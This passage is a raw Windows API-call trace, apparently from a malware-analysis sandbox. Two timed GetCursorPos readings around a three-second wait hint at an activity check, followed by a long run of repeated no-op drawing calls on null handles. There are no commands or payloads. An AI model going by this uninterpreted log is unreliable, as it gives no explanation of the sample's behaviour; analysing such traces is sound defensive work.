returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetClientRect (in: hWnd=0x0, lpRect=0x4ae96c | out: lpRect=0x4ae96c) returned 0 [0030.745] GetWindowTextLengthA (hWnd=0x0) returned 0 [0030.745] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f413a0 | out: hHeap=0x1f40000) returned 1 [0030.745] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41378 | out: hHeap=0x1f40000) returned 1 [0030.745] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f41368 | out: hHeap=0x1f40000) returned 1 [0030.745] GetWindowTextLengthA (hWnd=0x0) returned 0 [0030.745] GetCursorPos (in: lpPoint=0x4ae914 | out: lpPoint=0x4ae914*(x=814, y=451)) returned 1 [0030.745] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x168 [0030.745] OpenEventA (dwDesiredAccess=0x2, bInheritHandle=0, lpName=0x0) returned 0x0 [0030.745] GetCursorPos (in: lpPoint=0x4ae894 | out: lpPoint=0x4ae894*(x=814, y=451)) returned 1 [0030.745] GetClassLongA (hWnd=0x0, nIndex=-26) returned 0x0 [0030.745] SetClassLongA (hWnd=0x0, nIndex=-26, dwNewLong=512) returned 0x0 [0030.745] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb8) returned 0x102 [0033.753] OpenEventA (dwDesiredAccess=0x2, bInheritHandle=0, lpName=0x0) returned 0x0 [0033.753] GetCursorPos (in: lpPoint=0x4ae894 | out: lpPoint=0x4ae894*(x=1117, y=450)) returned 1 [0033.753] CreateWindowExA (dwExStyle=0x0, lpClassName="MDICLIENT", lpWindowName=0x0, dwStyle=0x52000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x1, hInstance=0xd0000, lpParam=0x4ae8b8) returned 0x0 [0033.753] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.753] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.753] CreateMetaFileA (pszFile="") returned 0x0 [0033.753] GetStockObject (i=4) returned 0x1900011 [0033.753] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.755] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.755] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.755] CreateMetaFileA (pszFile="") returned 0x0 [0033.755] GetStockObject (i=4) returned 0x1900011 [0033.755] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.755] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.755] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.755] CreateMetaFileA (pszFile="") returned 0x0 [0033.755] GetStockObject (i=4) returned 0x1900011 [0033.755] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.755] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.755] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.755] CreateMetaFileA (pszFile="") returned 0x0 [0033.755] GetStockObject (i=4) returned 0x1900011 [0033.755] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.755] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.755] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.756] CreateMetaFileA (pszFile="") returned 0x0 [0033.756] GetStockObject (i=4) returned 0x1900011 [0033.756] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.756] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.756] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.756] CreateMetaFileA (pszFile="") returned 0x0 [0033.756] GetStockObject (i=4) returned 0x1900011 [0033.756] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.756] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.756] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.756] CreateMetaFileA (pszFile="") returned 0x0 [0033.756] GetStockObject (i=4) returned 0x1900011 [0033.756] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.756] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.756] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.756] CreateMetaFileA (pszFile="") returned 0x0 [0033.756] GetStockObject (i=4) returned 0x1900011 [0033.756] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.756] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.756] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.756] CreateMetaFileA (pszFile="") returned 0x0 [0033.756] GetStockObject (i=4) returned 0x1900011 [0033.756] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.756] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.756] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.756] CreateMetaFileA (pszFile="") returned 0x0 [0033.756] GetStockObject (i=4) returned 0x1900011 [0033.756] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.756] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.756] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.756] CreateMetaFileA (pszFile="") returned 0x0 [0033.756] GetStockObject (i=4) returned 0x1900011 [0033.756] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.756] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.756] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.756] CreateMetaFileA (pszFile="") returned 0x0 [0033.756] GetStockObject (i=4) returned 0x1900011 [0033.756] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.756] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.756] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.757] CreateMetaFileA (pszFile="") returned 0x0 [0033.757] GetStockObject (i=4) returned 0x1900011 [0033.757] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.757] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.757] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.757] CreateMetaFileA (pszFile="") returned 0x0 [0033.757] GetStockObject (i=4) returned 0x1900011 [0033.757] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.757] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.757] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.757] CreateMetaFileA (pszFile="") returned 0x0 [0033.757] GetStockObject (i=4) returned 0x1900011 [0033.757] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.757] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.757] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.757] CreateMetaFileA (pszFile="") returned 0x0 [0033.757] GetStockObject (i=4) returned 0x1900011 [0033.757] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.757] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.757] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.757] CreateMetaFileA (pszFile="") returned 0x0 [0033.757] GetStockObject (i=4) returned 0x1900011 [0033.757] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.757] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.757] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.757] CreateMetaFileA (pszFile="") returned 0x0 [0033.757] GetStockObject (i=4) returned 0x1900011 [0033.757] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.757] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.757] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.757] CreateMetaFileA (pszFile="") returned 0x0 [0033.757] GetStockObject (i=4) returned 0x1900011 [0033.757] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.757] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.757] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.757] CreateMetaFileA (pszFile="") returned 0x0 [0033.757] GetStockObject (i=4) returned 0x1900011 [0033.757] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.758] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.758] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.758] CreateMetaFileA (pszFile="") returned 0x0 [0033.758] GetStockObject (i=4) returned 0x1900011 [0033.758] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.758] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.758] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.758] CreateMetaFileA (pszFile="") returned 0x0 [0033.758] GetStockObject (i=4) returned 0x1900011 [0033.758] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.758] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.758] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.758] CreateMetaFileA (pszFile="") returned 0x0 [0033.758] GetStockObject (i=4) returned 0x1900011 [0033.758] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.758] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.758] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.758] CreateMetaFileA (pszFile="") returned 0x0 [0033.758] GetStockObject (i=4) returned 0x1900011 [0033.758] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.758] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.758] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.758] CreateMetaFileA (pszFile="") returned 0x0 [0033.758] GetStockObject (i=4) returned 0x1900011 [0033.758] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.758] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.758] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.758] CreateMetaFileA (pszFile="") returned 0x0 [0033.758] GetStockObject (i=4) returned 0x1900011 [0033.758] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.758] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.758] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.758] CreateMetaFileA (pszFile="") returned 0x0 [0033.758] GetStockObject (i=4) returned 0x1900011 [0033.758] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.758] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.758] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.758] CreateMetaFileA (pszFile="") returned 0x0 [0033.759] GetStockObject (i=4) returned 0x1900011 [0033.759] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.759] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.759] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.759] CreateMetaFileA (pszFile="") returned 0x0 [0033.759] GetStockObject (i=4) returned 0x1900011 [0033.759] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.759] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.759] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.759] CreateMetaFileA (pszFile="") returned 0x0 [0033.759] GetStockObject (i=4) returned 0x1900011 [0033.759] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.759] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.759] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.759] CreateMetaFileA (pszFile="") returned 0x0 [0033.759] GetStockObject (i=4) returned 0x1900011 [0033.759] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.759] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.759] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.759] CreateMetaFileA (pszFile="") returned 0x0 [0033.759] GetStockObject (i=4) returned 0x1900011 [0033.759] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.759] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.759] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.759] CreateMetaFileA (pszFile="") returned 0x0 [0033.759] GetStockObject (i=4) returned 0x1900011 [0033.759] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.759] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.759] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.759] CreateMetaFileA (pszFile="") returned 0x0 [0033.759] GetStockObject (i=4) returned 0x1900011 [0033.759] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.759] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.759] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.759] CreateMetaFileA (pszFile="") returned 0x0 [0033.759] GetStockObject (i=4) returned 0x1900011 [0033.759] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.759] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.759] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.760] CreateMetaFileA (pszFile="") returned 0x0 [0033.760] GetStockObject (i=4) returned 0x1900011 [0033.760] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.760] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.760] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.760] CreateMetaFileA (pszFile="") returned 0x0 [0033.760] GetStockObject (i=4) returned 0x1900011 [0033.760] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.760] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.760] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.760] CreateMetaFileA (pszFile="") returned 0x0 [0033.760] GetStockObject (i=4) returned 0x1900011 [0033.760] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.760] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.760] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.760] CreateMetaFileA (pszFile="") returned 0x0 [0033.760] GetStockObject (i=4) returned 0x1900011 [0033.760] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.760] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.760] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.760] CreateMetaFileA (pszFile="") returned 0x0 [0033.760] GetStockObject (i=4) returned 0x1900011 [0033.760] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.760] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.760] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.760] CreateMetaFileA (pszFile="") returned 0x0 [0033.760] GetStockObject (i=4) returned 0x1900011 [0033.760] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.760] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.760] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.760] CreateMetaFileA (pszFile="") returned 0x0 [0033.760] GetStockObject (i=4) returned 0x1900011 [0033.760] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.760] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.760] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.760] CreateMetaFileA (pszFile="") returned 0x0 [0033.760] GetStockObject (i=4) returned 0x1900011 [0033.760] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.760] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.761] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.761] CreateMetaFileA (pszFile="") returned 0x0 [0033.761] GetStockObject (i=4) returned 0x1900011 [0033.761] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.761] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.761] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.761] CreateMetaFileA (pszFile="") returned 0x0 [0033.761] GetStockObject (i=4) returned 0x1900011 [0033.761] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.761] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.761] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.761] CreateMetaFileA (pszFile="") returned 0x0 [0033.761] GetStockObject (i=4) returned 0x1900011 [0033.761] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.761] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.761] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.761] CreateMetaFileA (pszFile="") returned 0x0 [0033.761] GetStockObject (i=4) returned 0x1900011 [0033.761] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.761] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.761] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.761] CreateMetaFileA (pszFile="") returned 0x0 [0033.761] GetStockObject (i=4) returned 0x1900011 [0033.761] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.761] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.761] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.761] CreateMetaFileA (pszFile="") returned 0x0 [0033.761] GetStockObject (i=4) returned 0x1900011 [0033.761] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.761] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.761] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.761] CreateMetaFileA (pszFile="") returned 0x0 [0033.761] GetStockObject (i=4) returned 0x1900011 [0033.761] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.761] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.761] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.761] CreateMetaFileA (pszFile="") returned 0x0 [0033.761] GetStockObject (i=4) returned 0x1900011 [0033.762] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.762] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.762] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.762] CreateMetaFileA (pszFile="") returned 0x0 [0033.762] GetStockObject (i=4) returned 0x1900011 [0033.762] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.762] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.762] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.762] CreateMetaFileA (pszFile="") returned 0x0 [0033.762] GetStockObject (i=4) returned 0x1900011 [0033.762] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.762] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.762] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.762] CreateMetaFileA (pszFile="") returned 0x0 [0033.762] GetStockObject (i=4) returned 0x1900011 [0033.762] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.762] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.762] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.762] CreateMetaFileA (pszFile="") returned 0x0 [0033.762] GetStockObject (i=4) returned 0x1900011 [0033.762] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.762] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.762] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.762] CreateMetaFileA (pszFile="") returned 0x0 [0033.762] GetStockObject (i=4) returned 0x1900011 [0033.762] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.762] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.762] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.762] CreateMetaFileA (pszFile="") returned 0x0 [0033.762] GetStockObject (i=4) returned 0x1900011 [0033.762] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.762] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.762] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.762] CreateMetaFileA (pszFile="") returned 0x0 [0033.762] GetStockObject (i=4) returned 0x1900011 [0033.762] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.762] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.762] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.763] CreateMetaFileA (pszFile="") returned 0x0 [0033.763] GetStockObject (i=4) returned 0x1900011 [0033.763] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.763] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.763] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.763] CreateMetaFileA (pszFile="") returned 0x0 [0033.763] GetStockObject (i=4) returned 0x1900011 [0033.763] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.763] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.763] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.763] CreateMetaFileA (pszFile="") returned 0x0 [0033.763] GetStockObject (i=4) returned 0x1900011 [0033.763] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.763] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.763] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.763] CreateMetaFileA (pszFile="") returned 0x0 [0033.763] GetStockObject (i=4) returned 0x1900011 [0033.763] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.763] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.763] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.763] CreateMetaFileA (pszFile="") returned 0x0 [0033.763] GetStockObject (i=4) returned 0x1900011 [0033.763] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.763] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.763] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.763] CreateMetaFileA (pszFile="") returned 0x0 [0033.763] GetStockObject (i=4) returned 0x1900011 [0033.763] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.763] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.763] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.763] CreateMetaFileA (pszFile="") returned 0x0 [0033.763] GetStockObject (i=4) returned 0x1900011 [0033.763] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.763] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.763] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.763] CreateMetaFileA (pszFile="") returned 0x0 [0033.763] GetStockObject (i=4) returned 0x1900011 [0033.763] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.763] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.764] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.764] CreateMetaFileA (pszFile="") returned 0x0 [0033.764] GetStockObject (i=4) returned 0x1900011 [0033.764] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.764] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.764] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.764] CreateMetaFileA (pszFile="") returned 0x0 [0033.764] GetStockObject (i=4) returned 0x1900011 [0033.764] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.764] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.764] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.764] CreateMetaFileA (pszFile="") returned 0x0 [0033.764] GetStockObject (i=4) returned 0x1900011 [0033.764] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.764] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.764] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.764] CreateMetaFileA (pszFile="") returned 0x0 [0033.764] GetStockObject (i=4) returned 0x1900011 [0033.764] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.764] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.764] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.764] CreateMetaFileA (pszFile="") returned 0x0 [0033.764] GetStockObject (i=4) returned 0x1900011 [0033.764] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.764] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.764] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.764] CreateMetaFileA (pszFile="") returned 0x0 [0033.764] GetStockObject (i=4) returned 0x1900011 [0033.764] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.764] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.764] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.764] CreateMetaFileA (pszFile="") returned 0x0 [0033.764] GetStockObject (i=4) returned 0x1900011 [0033.764] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.764] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.764] SendMessageA (hWnd=0x0, Msg=0x220, 